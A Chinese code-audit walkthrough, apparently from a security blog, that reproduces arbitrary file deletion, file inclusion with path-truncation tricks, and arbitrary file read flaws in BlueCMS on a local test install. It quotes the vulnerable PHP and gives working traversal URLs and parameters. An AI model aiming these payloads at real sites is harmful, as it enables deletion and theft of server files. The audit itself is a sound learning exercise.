【代码审计】0开始学习之bluecms②

admin 2021年12月7日10:41:05评论85 views字数 1569阅读5分13秒阅读模式

0X00前言

【代码审计】0开始学习之bluecms②

闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续


0x01正文

1.任意文件删除(publish.php)

【代码审计】0开始学习之bluecms②

第一个在publish.php

【代码审计】0开始学习之bluecms②

重点在@unlink上

【代码审计】0开始学习之bluecms②

所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下
(注:这个地方需要先登入才能执行)

【代码审计】0开始学习之bluecms②

【代码审计】0开始学习之bluecms②

先在同目录下新建个1.txt文件
为了方便观看,我在代码下加个echo
【代码审计】0开始学习之bluecms②构建参数:

http://localhost/shenji/bluecms/publish.php?act=del_pic&id=1.txt

【代码审计】0开始学习之bluecms②

2.任意文件删除(user.php)

先说个未成功的

【代码审计】0开始学习之bluecms②

【代码审计】0开始学习之bluecms②
这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。

我们接着往上翻

【代码审计】0开始学习之bluecms②

else{        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){            @unlink(BLUE_ROOT.$_POST['face_pic3']);        }    }


【代码审计】0开始学习之bluecms②

成功执行!


3.任意文件删除(database.php)

【代码审计】0开始学习之bluecms②


可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除
接下来我们试试删除根目录的2.txt文件

【代码审计】0开始学习之bluecms②

【代码审计】0开始学习之bluecms②

4.文件包含漏洞(user.php)
【代码审计】0开始学习之bluecms②

【代码审计】0开始学习之bluecms②

嗯,cnvd这里看出了该漏洞十有八九在user.php
【代码审计】0开始学习之bluecms②

【代码审计】0开始学习之bluecms②

这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个.


这里要求:
长度截断:条件:windows的点需要长于256;linux的长于4096
%00条件:magic_quotes_gpc = Off php版本<5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断)
OK,我们先在根目录建个txt

【代码审计】0开始学习之bluecms②


最后如图所示:

【代码审计】0开始学习之bluecms②


pay=../../2.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

也是可以的


5.文件读取漏洞(/admin/tpl_manage.php)

这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了


我们先打开这个地址看看

【代码审计】0开始学习之bluecms②

原来是个编辑模板的(在后台功能上只能编辑模板的html)
我们看看这个地址代码

elseif($act == 'edit'){    $file = $_GET['tpl_name'];if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){        showmsg('��Ŀ��ģ���ļ�ʧ��');    }    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);    fclose($handle);    $tpl['name'] = $file;    template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));    $smarty->display('tpl_info.htm'); }

这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞

http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&tpl_name=../../yanxia.txt

【代码审计】0开始学习之bluecms②

本文始发于微信公众号(亿人安全):【代码审计】0开始学习之bluecms②

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月7日10:41:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】0开始学习之bluecms②http://cn-sec.com/archives/561421.html

发表评论

匿名网友 填写信息